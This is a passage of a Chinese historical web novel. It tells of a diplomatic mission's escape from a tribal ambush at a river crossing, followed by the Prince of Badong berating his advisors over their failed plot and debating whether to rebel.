自从过了汉界,州兵撤走之后,王揖便不出来浪了,说是身体不太舒服,整日窝在车里,不过他的坐骑倒是一直让两个家仆牵着,随车并行。 王揖笑意微微一滞,随即笑容更深,抚着胸口道: “老毛病了,凑合事吧。你阿叔身子骨也不好啊!但阿叔不如你,阿叔可没找到石头,你看你,一下就占了这么个好地儿,又挡风又不耽误晒太阳......”王揖语气歆羡,彷佛王扬占的位置真是什么洞天福地似的。 王扬笑道:“我也就是偶然碰上了,前面风更大的时候,有没有石头就不好说了。” “石头不有的是?你眼那么尖,随便找一块就够避风的了。阿叔就不行,阿叔目力不好,找不着石头,只好站着任风吹喽。” 王揖摇头叹气。 王扬正色道:“阿叔这是将帅气度,任尔东西南北风,我自岿然不动。阿叔不用找石头,石头自来找阿叔!还是阿叔高啊!” 王扬也语气歆羡,又加上一脸敬佩模样。 王揖差点没绷住,嘴角抽了抽,稳住情绪道: “其实东西南北风都不算什么,这万一来个狂雷暴雨什么的,就算有石头,也没用呀。咱们叔侄俩身体又都不好,经不起雷击雨打的,唉,还是各自珍重吧。” 王扬侧眸而笑:“要不,阿叔带我一起珍重?” 王揖干笑了两声: “呃......这个,不太好带呀,阿叔自己能不能珍重都说不好......要不,你带阿叔?” 王扬眼尾挑起一抹坏笑: “我怕把阿叔带坑里去,阿叔你可要想好啊!” 王揖想了想,赶紧摆手道:“还是各自珍重,各自珍重比较好......” ...... 使团走走停停,每日按计划行进,连休整的时间都是固定的,绝不多走路程,也不少走偷懒,五日后正午,过了一大片青樟林,渐近虎头路口。 马车内,王扬揣好匕首,系好腰刀,陈青珊跪坐于茵褥上,神情专注,将苎麻布仔细地缠于王扬右腕,口中嘱咐个不停: “......刀入门易,精深难。剑入门难,精深更难。你一直练的是拳,已经有些底子了,但刀法连速成都算不上!所以不到自己的生死关头,万不可出刀搏杀!遇到情况不对,马上逃走,千万不能逞英雄!任何人你都不要管,你就负责逃......” 王扬笑道:“那也得有可逃的地方才行——” 陈青珊手上一紧,抬头看向王扬,凤眸中充盈着一种近乎执拗的坚定:“有的,一定有的!” 王扬微微一怔,随即露出个大大的笑容:“当然,我最擅长跑路了!” 当当当,当当。 车壁上传来五记叩击声。 王扬和陈青珊对视一眼,神色变得凝重起来,陈青珊语速飞快地说道:“记住我的话。” 话音未落,号角声撕裂天空!马车陡停,四周嘈杂大起! 陈青珊立即拉王扬下车,王扬握住陈青珊手腕,没有下车,反而第一时间掀开车帘,看向左边王揖的车驾。然后就见到了极精彩的一幕—— 王揖跟条大鱼似地,直挺挺地从车窗里扑出,被窗外两个家仆利落接住,一人托肩一人抬腿,往上一推便把王揖推上了马背,王揖一沾马背就催马冲出车队,随即掉转马头,全速向回奔!身后十余骑紧跟王揖而去,整个过程行云流水,利落至极,算时间的话不过七八秒。 蛮兵如群狼般从西面高坡上蜂拥而下,黑影倾泻,腾起阵阵尘烟。 粗粝的战吼声惊心动魄,好似滚雷!远远望去黑压压一片,不知数量有多少! 看似杂乱,实则乱中有序,如大江奔涌中众支流各循其道,但又同归一处;又似野火燎原时分出无数火舌,分别翻卷成焰,却又汇而同焚。 使团大乱,很多人甚至都不知道正使已经跑了,或张弓列队准备迎敌,或下意识地往车队中央退缩,或割缰绳以偷马,或大喊镇定,欲找通译和蛮人交涉。仆役中已有慌不择路而奔散者,军士们畏于军法,没有主官命令谁也不敢妄动,主官上车寻不见王揖,也慌了神,正不知如何是好间,只听王扬大吼一声:“正使已撤向青樟林!大家保护正使!” 王家四卫齐声跟喊! 这句话可真是太得人心了!这要是喊大家快逃,众人头顶天子诏敕,都有前程家小,没有命令,谁敢擅逃?可保护正使这杆大旗一打,那就别怪大家尽忠报国了! 众人顿时一哄而散,往来路疾奔,刚开始还有人喊几句“保护正使大人!”“掩护正使撤离!”但很快便都闭嘴了,全力逃命...... 蛮军见使团向南逃窜,便跟着调转方向,追杀而去。与其同时,王扬、陈青珊六骑趁着混乱向东,直奔虎头滩。 王扬这一声喊,固然有心机,要诱蛮兵追击大队人马,以助己之金蝉脱壳,不过同时也有恻隐。以他的推算,青樟林中必有伏兵,可王揖既然毫不犹豫地往向青樟林而去,就说明那里有生路,这条生路大概是没有指错的,至于最后能否逃出生天,那就看王揖备下的生路,到底备得如何了。 从正常的地势来说,这么多人一同逃窜,王扬小队背着人马大流,拐进向东,不会有人注意。可偏生虎头路口之西是高坡,又偏生蛮人伏兵没有出尽,尚有一蛮将带小部留守,居高临下,纵观战局,很快注意到有六骑没有随大队奔逃,而是悄然溜向虎头滩,当即率领麾下十骑追击,又吩咐弓手小队跑步随后。 此时王扬等人奔到沮水边,见河水茫茫,浊浪汤汤,哪有船只的影子?不由得心下一凉。 不过王扬也有心理准备,因为他特意嘱咐船队不要到太早,以免引起注意。这是为了预防蛮人在水路上有备,一旦发现接应船只,或给路上伏兵传讯,又或示警集结船队围攻,那时候使团还没到虎头,人也接不到,船倒先接上战了。胜负先不论,大战一起,王扬这边不就耽搁了? 所以王扬让船队算好时间,不要太过提前,启程之后,一路突进,疾冲疾去,不许停留也绝不恋战,这样即便有人拦截,也没时间传递消息,只要闯过一艘,便就能赶来接应。或许是这个原因,所以船还没到? 王扬六骑勒马水畔,进退无据,正踌躇间,身后蛮骑已卷着腥风,呼啸而至...... 第262章 滩头血 王扬远远望见敌骑迫近,喝道:“丙策!” 陈青珊五骑同时动作,呈斜线散开,分成三组,以马身为掩,解开鞍侧革囊,按王扬交待的阵型,撒布铁蒺藜。 铁蒺藜者,铁制尖刺也。一身四锋,三锋据地,一锋上仰。马踏则蹄穿,人践则足裂,王扬提前让众人以湿泥裹之,撒时不起尘烟,布后不露寒光,正布阵间,只听嗖的一声裂帛之音,一支利箭直朝陈青珊脖颈而来! 原来是蛮将一马当先,疾驰之中,开弓放箭! 那箭取径极准,竟预判了陈青珊的行马轨迹!陈青珊刚前进一步,箭镞已距脖颈不足一尺! 陈青珊左手五指骤然收拢,猛扯缰绳! 大黑驹前蹄腾空,鬃毛飞扬! 箭簇于陈青珊扬起的下颌前掠过,箭尾带起劲风,在她颈项上划出一道红痕。 “咬喉箭!留他不得!” 陈青珊清喝一声,左手缰绳疾收,右腕内旋,槊身在马臀上一击! 黑驹在半空中便被她带得调转方向,前蹄刚触地,马肩即沉,左后蹄猛蹬,眨眼间便完成了一个凌厉的斜转,四蹄翻飞之下卷起泥沙,直冲蛮将! 蛮将胯下马不停,手上动如风,抽箭搭弦,挽弓再开! 这第二箭来得更快! 陈青珊腰杆下折,如柳枝迎风倒卷,流云绕岫回旋,左足扣紧马镫,靴尖挑月,整个人悬于马腹一侧,堪堪避过这一箭,尚未起身,第三箭已至! 第三箭更凶险,是紧跟第二箭而来,已有了点连珠箭的味道,专挑陈青珊侧身避箭的空挡,不上不下之时而射。是一箭坠羽,势如流星,直取陈青珊背心! 陈青珊腰腹骤然发力,身体如强弓绷弦,霎那间坐起,同时槊杆应势而挑,弧若舟横,铛的一下挑飞箭簇! 三箭皆空,陈青珊马快,已奔至近前! 蛮将脸色一变,猛夹马腹欲退,又急弃弓换刀,可刀才举了一半,槊尖已至! 只听噗嗤一声—— 三棱槊锋贯喉,带起一蓬血雨。 蛮将尸身尚未落马,身后两蛮骑已一左一右,夹攻而来! 左侧蛮骑长矛直刺陈青珊肋下,陈青珊不躲不闪,槊尾一横,“咚”地击中左蛮马首,蛮马吃痛,失控偏侧,长矛顿时刺空。 右侧蛮骑挥刀劈下,陈青珊冷眸似水,毫无波澜,槊尾击马首,槊锋如长龙,借着击打蛮马的反震之力,马槊猛贯,倏地搠进右蛮胸口! 直接将那蛮人撞下马来! 众蛮骑见陈青珊转瞬间便杀两人,皆惊怒交加,嗷嗷叫得冲了上来,欲合围杀之! 就在此时,四道黑影疾驰而至——正是王家四卫拍马赶到! 原来在陈青珊单骑奔出之后,王扬便立即令四人跟上接应,这才能在此刻及时护住陈青珊两翼。 两队人马接战厮杀,之前被陈青珊击伤马首的蛮骑,此刻勉强控制住受惊的战马,他略作停顿,竟抛下战局,直奔王扬而来! 苟人捡软柿子是吧! 王扬赶紧下马,模样狼狈,往滩头东侧奔去,脚步还带踉跄,跑得歪歪斜斜。蛮骑见状大喜,心道这人果然弱极,不仅吓得马都不会骑了,就连腿都软了!当即催马急追! 马蹄踏碎河滩碎石,石屑如星子飞溅! 眼看便要追上,马蹄忽然一沉,接着连人带马,轰然栽倒! 在蛮马凄厉的嘶鸣声中,整个人被惯性甩飞出去! 王扬虽然习马多时,但在生死之间,对自己的控马技术是没有足够信心的,所以要先弃马才敢引蛮骑进入铁蒺藜阵,此时听到身后动静,知道计成,没有一秒钟耽搁,马上抽刀转身,向蛮人奔去! 蛮人摔得七荤八素,一张大脸砸进沙地,沙粒混着血沫从口鼻呛出,刚挣扎着起身,眼前尚且模糊,只觉脖间传来冰冷的压迫感,竟是刀刃已楔入筋肉! 他疯狂地挥拳砸舞,王扬左手按在右腕上,身子前倾,借助全身的力量,压刀下切,温热的血流溅到王扬脸上,腥气直冲鼻腔,可王扬连眼睛都没眨一下,依旧全神贯注,手上加力。 蛮人喉间发出“嗬嗬”的气音,魁梧的身躯抽搐着,膝盖重重砸在地上,随即身子瘫落,震起一小片尘土。 此时只听身后蹄声渐起,王扬来不及擦拭脸上血液,先迅速站到蛮尸后侧,然后才回身查看,这样即便蛮人诈尸,也不能来个偷袭什么的。 见到果然是陈青珊等人,这才放下心来,话还来不及叙,只听空中裂帛声响,众人疾退之间,一片羽箭已斜插在刚才方才王扬停站之处! 是蛮人弓手小队奔袭而来! 他们像一群嗅到血腥的狼,边奔跑边开弓! 王扬上了陈青珊的马,一声令下:“快退!” 又是一轮抛射! 箭雨擦着马尾掠过,骑队开拔,迅速拉开与蛮兵的距离。后面弓弦声暂停,不过所有人都知道,这不是蛮人放弃追杀,而是在等待缩短射距! 五骑奔到水边,水上只见些许薄雾,船还是没到! 蛮族弓队已近,陈青珊道:“公子下马,我去冲一阵!” 四卫齐声:“愿同往!” 王扬飞速下令,声音底气十足,仿佛必胜一般: “散开冲!青珊随我走左;钱展、孙举往右,赵飞、李临居中,十五步内,便是我等天下!先践蛮队者,赏钱十万!” 王扬扬刀于空,吼道:“杀!” 众骑跟吼:“杀!!!” 蛮人见几骑冲锋而来,纷纷举弓,正要开射,只听一阵刺耳的破空之音,箭如雨点下坠!转瞬间,穿透身体的闷响声此起彼伏,血雾四溅! 沮水之上,三艘赤马舟破开薄雾,骤然现身! 每艘船侧探出十余张强弓,快速交替轮射,蛮弓射程不远,又无防备,才两轮下去,便被放倒一大半,其余四散而逃,又遭点射。 王扬喜道:“全歼蛮队!不留活口!” 陈青珊等人纵马上前,如砍瓜切菜一般收割零星逃敌,王扬则下马补刀。 一个中箭装死的蛮兵见实在躲不过去,起身便跑,抢上之前被杀同袍的坐骑,疾驰而去! 王扬叫道:“快追!” 这时只见南方青樟林方向烟尘大起,似乎大队人马而来,封一陵披甲站在船首,喊道:“公子上船!” 王扬急指逃蛮:“快拿下他!” 陈青珊凤目一凝,腕间劲发,夜沉铁拂,破空而去,在空中划出一道凌厉的血乌之光,自那蛮兵后心透入,前胸穿出! 蛮尸栽落马下,带起一片滩头砂砾,恍若恶鬼归阴,徒留满地腥风...... ...... 沙头日正红,云起半江中。 船舱里,王扬先对四卫问候勉励一番,又表示虽然最后冲锋的时候,援兵到了,没能纵践蛮队,但几人破敌有功是抹杀不掉的,十万赏钱照旧,等回去之后,分赏四人。再给四人配新马。 四卫又喜又惭,又惊又敬!只觉毕竟琅琊王氏,出手是真阔啊! 不仅刚到就涨了月俸,这一趟出门还有叫什么“出差补助”的赏钱,现在又加赐十万,每人就是两万五,相当于一下赏了月俸的十多倍!几人只恨不得再来几场大战,好好展展身手,给公子瞧瞧,多立点功,拿钱也安心些! 王扬坐到陈青珊身边,陈青珊正呆呆看水,闷闷不乐。 王扬心下猜到五分,问道:“小珊怎么了?” 陈青珊摇摇头。 王扬笑道:“一匹大黑驹而已......” “是两匹。”陈青珊心疼道。 王扬也心疼,不过这次都是小船,本来就不是驮运战马的,船上人多,水位又不深,马实在不好带,勉强带的话一是不安全,二是影响速度。听封一陵说,他们之前到的迟了,是因为与蛮船交了手。蛮部确实派了船在水面上巡视,也多亏王扬事先交待,他们没有提前,而是突然出击,轻舟快船,疾冲而过。蛮人拦截失败,也来不及传递消息。不过现在说不定已经召集了船队,开始追击,所以速度仍然是关键。舍命不舍财的事儿,王扬是从来不做的。 王扬安慰说:“两匹大黑驹而已,等以后,我给你弄匹真正的千里马——” 陈青珊着急道:“不用不用!我骑以前的马就好!千里马贵得吓人!你可千万别买!” 王扬一笑:“不用买,早晚有人送。” 陈青珊疑惑问:“谢娘子?” 王扬失笑:“我又不是吃软饭的,不能总要人家东西呀.....” “吃软饭?” “呃......就是......比如说你有很多钱,然后让我花,那我就叫吃软饭。” 陈青珊想了想,突然说道:“那你吃我软饭吧!” 王扬身子一抖,扶住船舷,尴尬道: “不至于不至于,软饭虽香,不是,软饭太软,咱能不吃就不吃哈。” 陈青珊抱着膝,看着暮色流金,碎波文细,用极小极小的声音说道:“只要是给你吃的,我就愿意。” ...... 这边轻舟走沮水,畅通无阻。另一边货船行江段,磕磕绊绊,总觉航道不畅,船底不时蹭到淤沙。好不容易到了临江货栈的江津渡,竟直接触了底,也不知撞上了什么,船底豁开个大口!好在离渡口近,船上的人都被救起,不过满载的器物锦缎都跟着大船沉入江中了。 这给船主心疼的呦,眼泪都下来了,又没别的办法,只好悬以重赏,请荆州擅长泅水的健儿,下江打捞。 这一捞,倒捞出一些意料之外的东西...... 第263章 吃瓜 嚓—— 巴东王一刀切开早青瓜, 瓜汁裂溅,瓤肉如雪崩。 巴东王松开刀柄,刀刃楔在案上,几粒瓜籽正沿刃口缓缓滑落。 “都是大功臣呐,来,一人拿块瓜吃,吃完后,本王劳各位他娘的大驾,跟他娘的本王说说,这他娘的,到底他娘的,是怎么他娘的一回事?” 巴东王露出森白的牙,对着下首五人,笑了。 孔长瑜、李敬轩、陈启铭、郭文远四个幕僚都低头站着,州议曹从事史(省政|策研|究室主|任)陶睿正襟危坐,五人看着桌案上的“瓜尸”颤动,汁水溢出成痕,无人作声。 巴东王懒洋洋地往后一靠,嘴角翘起,眼底却一丝笑意也无,目光从众人脸上一一扫过: “都谦虚,都不说。好好好!那就本王的张良先说吧!” 巴东王目光停在李敬轩身上,声音带着几分戏谑: “张良?叫你呢!你来指点一下呗。 这策是你出的,局也是你布的,你不能谦虚啊! 这回用不用再聚米成山了? 要不,现在让人给先生搬袋米来?” 李敬轩咽了口唾沫,拱手道: “王爷,小人以为,打乱这次计划的关键是永宁太守张——” 巴东王身子猛地前倾,像一头下山虎,盯着一只待宰羊: “这他娘的还用你说? 本王现在问的是, 永宁郡兵,为什么会出现在青樟林?! 嗯?!” 李敬轩喉头滚动着,额角沁出冷汗,声音再无往日的底气: “......牒呈上说是追击【上黄】大寇邱飞儿——” 巴东王眼底戾气翻涌,再次打断李敬轩: “牒呈上怎么说你怎么信?你他娘的也算谋士?!” 李敬轩知道自己这策献砸了,巴东王现在是变着法儿地拿他撒气,也不敢出言辩解,默默跪伏于地,免冠谢罪。 李敬轩如果解释几句,那巴东王可就来劲了。可现在李敬轩摆了这么一出,巴东王反而懒得理他,目光移到孔长瑜身上: “张珏一个小小太守,没有州部命令,敢担着大干系,调兵出界,就为追什么大寇?这他娘的是忠字当头啊!如此忠心,本王是不是得上表朝廷,好好嘉奖一番?萧何你说是不是?” 孔长瑜神色不动,仿佛没听出巴东王的讽刺,躬身禀道: “下官已经查过,这里面确有隐情。张珏的贴身侍卫和张珏爱妾私通,被张珏发现端倪后,竟纵火烧宅。张珏爱妾被烧死,侍卫则趁乱逃出,投奔邱飞儿。在邱飞儿寨中做了第二头目。张珏誓要报仇,一个月前出兵上黄,清剿匪寨,结果只占了一个空寨,连邱飞儿影子都没摸到。当时他便上报州部,请求州部派兵围剿,或调邻郡兵马合击。只是——” 巴东王嗤笑出声: “合着你的意思是,都怪本王当时没有同意,所以......” 孔长瑜急忙摇手: “不不不不不,此事本应是刘寅之责,只是刘寅戴罪,这才劳烦王爷处置。再说王爷处置也无任何不妥。张珏牧守一郡,连一个邱飞儿都对付不了,也算无能。这种小事,州部怎么可能派兵?席恭穆也不敢副署。至于跨郡调兵更是无稽。这是张珏癫狂失智,王爷英明,自然不会同意......” 巴东王脸上的肌肉因愤怒而抽搐几下: “癫狂失智?所以如此英明的王爷,就被这么个癫狂失智的蠢材把事坏了?” 孔长瑜沉吟不答,心中在推算另一种可能。 这种可能他早就推想过的。只是这种可能有点匪夷所思,一时间还找不到头绪。 “邱飞儿呢?”巴东王突然问。 孔长瑜醒过神来,答道: “邱飞儿人马逃到青樟林,正遇蛮兵两面夹击使团,紧接着便是永宁军杀到,张珏的说法是被永宁军全歼,但据下官调查,更像是混战之中,被汉蛮乱兵所杀。那个私通的侍卫的尸体也被找了出来,据说被张珏开膛破肚,剜心剖肝。” 巴东王被气笑了: “死无对证?好好好,真是好......也就是说,一众英才,精心谋划的惊天大计,最后毁在一对狗男女的屁事儿上,真是太好了......” 陈启铭看准时机,出言宽慰道: “其实也不算全毁,现在尸体还没有清点完,战场太乱,我们的人也已经去了,帮着辨认。根据张珏的呈文,虎头滩上也发生过厮杀,王扬的坐骑和王爷送他的那柄‘夜沉铁拂’都找到了,尸体暂时还没发现,不过想来是凶多吉少,永宁郡正在沮水中打捞——” “把瓜吃了(le)。”巴东王轻声冒出一句。 孔长瑜声音一顿,众人也都是一愣。 巴东王突然暴怒,像头择人而噬的凶兽,声如雷霆: “把瓜吃了(le)!把瓜都给我吃了(liao)!” 巴东王五指握住嵌在案上的刀柄,直接将刀刃从木缝中拔出,带起几缕木屑。 他歪着头,刀尖在半空中上下划拉着,声音不耐烦又带着刺骨的寒意: “都过来拿瓜,拿啊!!!” 孔长瑜战战兢兢地走了过去,拿了块离他最近的,然后退回原位。 巴东王刀指向陈启铭,然后刀一偏: “你,还有你,那个谁,都来拿! 还他娘的等着本王请啊!” 李敬轩、陈启铭、郭文远都惴惴不安,上前拿瓜,唯陶睿虽心惊肉跳,但仍自矜士族身份,端坐不动。 从姓氏来说,寻阳陶氏虽然排在世家之末,但也比孔长瑜这些厮庶高了不知多少。从官位来说,自己是朝廷命官,和孔长瑜王府舍人这种私属小官不同,至于其他人更是只有名义上的幕僚名头,听着好听而已,其实就是一介布衣,无官无职,巴东王可以对他们四个极尽折辱,但对自己不行。所以他一直安慰自己,巴东王之前那些污言秽语,冷嘲热讽,都是对孔长瑜、李敬轩他们说的,与自己无关。 巴东王看向陶睿,嘴角扯出一抹冷笑: “怎么?陶大人是嫌本王的瓜,配不上大人的身份?” 陶睿强作镇定,捋了捋衣袖,拱手道: “王爷说笑了。下官谢过王爷赏赐。但下官之前服了汤药,医者嘱咐忌食生冷。王爷所赏,下官怕是无福消受。不过当初定计之时,下官便力谏王爷,不可从李敬轩之策,请王爷重罚之,可王爷——” “本王就问你一句话,史拉出来了,能不能塞回去?” 陶睿呆住。 满殿寂静。 “不能塞回去你在这儿废什么话? 要么塞回去,要么吃瓜,选一个。 选—— 选呐!!” 巴东王虎踞而坐,声音骤然拔高,额角青筋鼓起。 陶睿吓得立马起身,哆嗦着上前拿瓜,退回原位后也不敢坐下。 巴东王站起,焦躁了走了几步,压住怒火: “史,现在已经拉出来了,塞是塞不回去的。 所以别再提当初怎么样了,这件事也不是李敬轩一个人的责任。 本王也不想追究什么。 本王是要你们想,现在应该怎么做! 按原计划,本王应该看到台使人头,看到那么多人头堆成的京观,然后就是你们说的什么泣血下沾襟,怒发上冲冠!为了夺回符节仪仗与台使遗体,义愤之下,兴兵攻入蛮地! 可现在要尸体没有,要活人也不见,使团生还那么多人,堆京观什么的已经成了笑话,符节仪仗是一个没丢,张珏那狗娘养的又已经呈报朝廷,现在本王该怎么办?总不能让本王装失心疯,不管不顾就带兵乱打一通吧???” 李敬轩听到巴东王说不是自己一个人的责任,又说不想追究,觉得巴东王现在消了气,能听得进去话了,又急欲在巴东王那儿挽回形象,便率先开口道:“王爷,我有一策——” 却不想直接被巴东王打断:“你可得了吧你。以后不是兵略你少说话。” 火还是没消啊...... 李敬轩心中叹息一声,不敢再说。 “孔先生,你先说。”巴东王第一个问孔长瑜。 孔长瑜禀道: “下官以为,当务之急,是要以州部的名义,从永宁郡手中全面接管此事,总揽善后。所有涉及使团案牍文书,都要封存运回。重点查缴两物:一是台使的随身奏匣。王揖虽悠游度日,但未必没有写好还未来得及发出的奏报,如果有,一定要找到。二是永宁郡的现场勘察文状。另外,使团生还者,要全部接回江陵,仔细查问。永宁郡几个关键的参案官吏,也要‘暂调’州部佐案。 其次,加派人手,扩大搜索范围,不管是生是死,一定得把王揖、王扬找出来,就算掘地三尺也在所不惜!同时给朝廷上表谢罪,主动请命督剿蛮乱。 其三,永宁蛮那边伏击失败,按理说来应该主动与我们取得联系,可现在还没动静,要么是因为永宁军正在搜索二王,交通阻隔,怕被发现。要么是因为这次失利,折损兵将,对我等失去信任。下官以为,越在这种时候,我们越不可乱了方寸,暂时先不要往永宁蛮派人,以免授人以柄。” 巴东王坐下,点点头:“这才是谋士该说的话。”随后看向郭文远:“郭先生向来主张谨慎,做贼要心虚,如今之事,先生以为如何?” 郭文远察言观色,知道巴东王如今情绪稳定了,也不再畏缩,朗声道: “我想问王爷一句话。” 巴东王道:“你问。” “如果永宁太守张珏,并非是因为追贼而偶然进入青樟林,而早有预谋,出兵打我们的反伏击,王爷该当如何?” 第264章 上路 殿内死寂一片。 巴东王阴默不语。 良久,孔长瑜开口道: “若有预谋,则必有两个前提。一、我们的计划已经被侦知。二、侦知者能调得动永宁太守,让他赌上自己的身家,派兵越境。这个调兵的人是谁?是王揖吗?王揖虽为台使,有查问蛮案之权,但却无权调动州郡兵马,除非......” 孔长瑜沉吟不言。 陶睿续道: “除非天子另有密诏。不过,这也说不太通,若天子果真提前侦知我等之谋,那只需出其不意,让王揖借传旨之机,收了王爷的印绶符节,再监送回京;又或者诏典签出典签令状,会同司马、咨议参军,直接夺了王爷兵权,锁闭王府。不会到现在都没有动作,只是派永宁军去解个围,然后便偃旗息鼓,这有些说不通。 更何况州部之中,分刺史之权者首推长史、司马,如果朝廷疑王爷,那拿掉刘寅的同时一定会任命强长史(强力)以摄军府,甚至直接代王爷行州府事。可如今迟迟不补长史之缺,反而由王爷兼起长史与江陵太守之任,实在不像朝廷疑藩王的做派......” 孔长瑜点头: “我想不通的也是这点。不直接夺兵权或许是担心不能成功,激起兵变;又或者是现在还没有确凿证据。但不速补长史,反而以王爷兼署,这说明朝廷对王爷还是信任的。如果天子真的知道荆州通蛮之事,岂会如此处置? 又或者是天子本不知道,而是王揖入荆州之后才有所察觉,这倒并非完全不可能,只是没有天子诏,王揖也调不动永宁军。难道天子暗授王揖临机处置,便宜调兵之权?可王揖并非天子心腹之臣,往日里亦不见其如何受倚信,天子岂能将如此重柄,轻易与人......” 陈启铭突然吸了口气: “会不会王揖背后站的不是天子,调永宁军的也另有其人,比如说......东宫?” 陶睿断然道: “不会。陈先生或不晓朝廷体制,兵者国之大事,调集征发,其制甚严。所谓敕不擅行,诏不独发,便是天子御笔,也不能只凭一纸诏书便调出郡兵,必得符节相配而后可。至若中诏四印交辉,方成王命;三司共验,始得奉行。东宫权势再盛,然既非州部,又非台省,根本不可能调动得郡兵。 即便张珏是东宫私党,也不敢冒天下之大不韪,受太子私命,兴兵越界。这是大忌!一旦事发,太子、张珏,并是擅权乱政之罪!若太子果真已经收服了张珏,而张珏又是唯太子之命是从,那也该潜锋敛锷,待时而动,岂会为救一个王揖,便贸然动兵,自曝其谋? 东宫若真知我等谋划,大可坐观我屠尽使团,再以我等之罪上告天子,不是更妙?何须私调永宁军,徒惹猜疑?陈先生所言虽奇,却不合道理。” 陈启铭知陶睿素来轻视自己这等寒人(意即卑庶,非寒门有“门”,亦非寒士可称“士”),嘴上称一句“先生”,但开口闭口都是“先生不晓朝廷体制”、“先生未谙衙司故事”、“此是典章常例,先生或未深究”...... 一个没落门户而已,正经世家中都排不上号,偏在这儿充什么贵族,真是可笑。 陈启铭心中腹诽,面上一副恭敬神情,欠身道: “原来如此,在下受教。只是在下以为,世间之行,不能尽以常理度之。天下事,有‘理之所无,势之所有’者;有‘局外难窥,局中自明’者;又有‘逆常而行,反得其利’者。今日之事,不合经而合权,不中理而中利,可乎?” 陶睿笑了笑: “陈先生辞采粲然,我不及也。不过敢问先生,东宫冒险调兵,利在何处?” 陈启铭稍一迟疑道:“利在护王揖。” 陶睿又问:“护王揖之利,与私调兵之害,孰重?” 陈启铭不能答。 陶睿不再看陈启明,面向巴东王,声音坚定: “下官以为,若张珏出兵,乃由预谋,则调动张珏之人,必非东宫!” 巴东王听着下属争论,指节缓缓叩击着太阳穴,见首启争端的郭文远反而一言不发,便问:“郭先生怎么不说话?” 郭文远不疾不徐地一拱手: “在下愚钝,实在无法推知张珏背后之人,也无法判断张珏追贼之事真伪,但在下以为,这都不重要。” 巴东王皱眉:“怎么说?” “定策之初,在下说过,‘我等做贼,当计最坏,而不可计之侥幸’,今日在下重提旧话,愿王爷从此刻起便做最坏之打算,着手准备应变。” “此言甚是,臣附议。” “臣附议!” “下官附议!” 孔长瑜等人纷纷赞成,唯李敬轩长跪在地,低头不语。 巴东王手掌伸握再三,虎眸闪烁不定,突然问道: “李敬轩,你之前说有一策,说来听听。” 李敬轩叩首道:“臣不敢妄言。” 巴东王乐了:“哎呦,你这是有怨气啊?” 李敬轩伏地不起:“臣不敢。” 巴东王没好气道: “骂你是要继续用你!你计策不成,骂还骂不得了?本王要真嫌你无用,早把你扔江喂鱼了!还容你在这儿‘臣不敢’、‘臣不敢’的耍性子?让你说你就说,再跟个娘们儿似的,本王锤你!” 李敬轩又遭了骂,但这次反倒欣喜起来,脸上顿时有了神采,马上直起身,声音也生动了许多: “臣岂敢有怨气?只是臣所言,与众意相左,是以不敢直陈。” 巴东王笑骂道: “少他娘地装模作样!你李恭舆什么时候怕过相左相右的了?看来这是又有‘奇策’了,说吧,本王听听看,你能左到哪去?站起来说,不必跪着了。” “谢王爷恩典!臣,领命!” 李敬轩略整衣袖,挺身而起,显出几分往日的锐气来,轩眉一扬,说道: “计疑无定事,事疑无成功。事,要么不做,要做就做到底! 谋国当如淬剑,既入烈火,便求断金,岂有畏热而半出者乎? 诸位刚才所谓‘做最坏打算’,不过被动应对,坐等变至。 然以敬轩之眼观之,待变不如谋变,应变不如制变! 敬轩请王爷立即以商讨蛮祸为名,召州府要官议事,然后全部扣押,夺其印信!调广牧军入驻江陵,江安军进驻燕尾洲,斩台传御史,收府库钱粮,截断传驿——” 众人大惊,哪容李敬轩继续说下去,皆起而怒斥道: “万不可如此!路尚未绝,奈何自践绝路!” “李敬轩妄人妄策,从之乃速祸尔!王爷千万不能听信啊!!” “李敬轩志欲封侯,故盼兵祸!王爷杀李敬轩,则荆州可安!” “李敬轩!你区区草芥之身,竟敢鼓唇摇舌,以王爷为注,掷此乾坤一搏!你把王爷当什么?把荆州当什么!!!” 李敬轩摇头笑道: “我李敬轩蝼蚁之身,如何能把王爷当赌注? 不是李敬轩以王爷为注,而是王爷早以自身为注,押入局中! 诸位嘴上说得好听,什么做最坏打算,准备应变,其实还是心存侥幸,冀朝廷不知我等谋;冀张珏进兵乃属偶然;冀王揖、王扬已死;冀通蛮截杀事不泄。 但我以为,冀人不如冀己!诸君徒知待变,却不知自永宁兵破伏之日,此变已至! 我等既与蛮部设伏,则如箭已离弦,与其缩手藏弓,不如张弓更进! 丈夫行事,不为则已,为则必至其极! 王爷如能立即动手,如狂飙摧木,疾电破夜,则必可先发制人,使敌不及掩耳——” “弓未张满而先发,矢必坠于前庭! 王爷!李敬轩所说似是而非!绝不可听信! 且不说现在根本不到铤而走险的时候! 即便要行大事,也需要准备的时间啊! 这是举大事,行大险,岂能如市井儿戏,说发便发——” “郭先生这话错了,先生才说要做最坏打算,如何不设想敌之如何?我准备,敌亦准备,最后谁先发难,遂不可知。今日之事,速则如苍鹰搏兔,缓则似困兽入阱!今日诸位皆觉我不应遽反,敌亦料我不应遽反,此正是我雷霆一击之时!” “李敬轩心险而达!巧舌如簧!力尚未集,谋尚未周,如何雷霆一击?!王爷坐拥荆州形胜,当徐图霸业,万不可毁黄钟而竞瓦缶,舍舟楫而赴湍流!” “事已至此,什么徐图霸业,别做梦了! 时之变则间不容息,先之则太过,后之则不及! 自古迟而生变,缓而贻祸! 敬轩愿为王爷画策,使江陵士族,皆为我用! 请王爷速速决断!!!” “王爷!火候未至,徒催则焦!时势未成,强为则覆啊!!!” 巴东王大吼一声:“都不要吵了!” 众人立时住了嘴,紧张地望向巴东王。 巴东王直起身,意态雄昂: “本王意已决!!李敬轩!!!” 众人皆失色! 唯有李敬轩上前一步,昂首抱拳,神色亢奋:“臣在!” “你还是跪着吧。” 李敬轩:(⊙o⊙) 众人:~( ̄▽ ̄)~ 李敬轩急道:“王爷——” 巴东王翻了大白眼,骂骂咧咧道: “你坑本王一次还不够,还想坑第二次?你以为你是王扬啊!” “王爷!!” “闭嘴吧!” 巴东王豁然站起: “除了李敬轩之外,所有人,随本王去用膳!至于你——” 巴东王蔑了李敬轩,冷声道:“好好跪着吧!” ...... 李敬轩独自跪在殿中,一动不动,形如槁木。 突然脚步声起,李敬轩回头,见一列婢女,传菜而入。 李敬轩不解,一个内侍走上前,神情僵冷,漠然唱声道: “王爷赐菜,请李先生上路。” 李敬轩直接瘫倒在地,面如死灰,颤声道:“上......上路......” 内侍对着李敬轩,微微一笑:“青云之路。” —————— 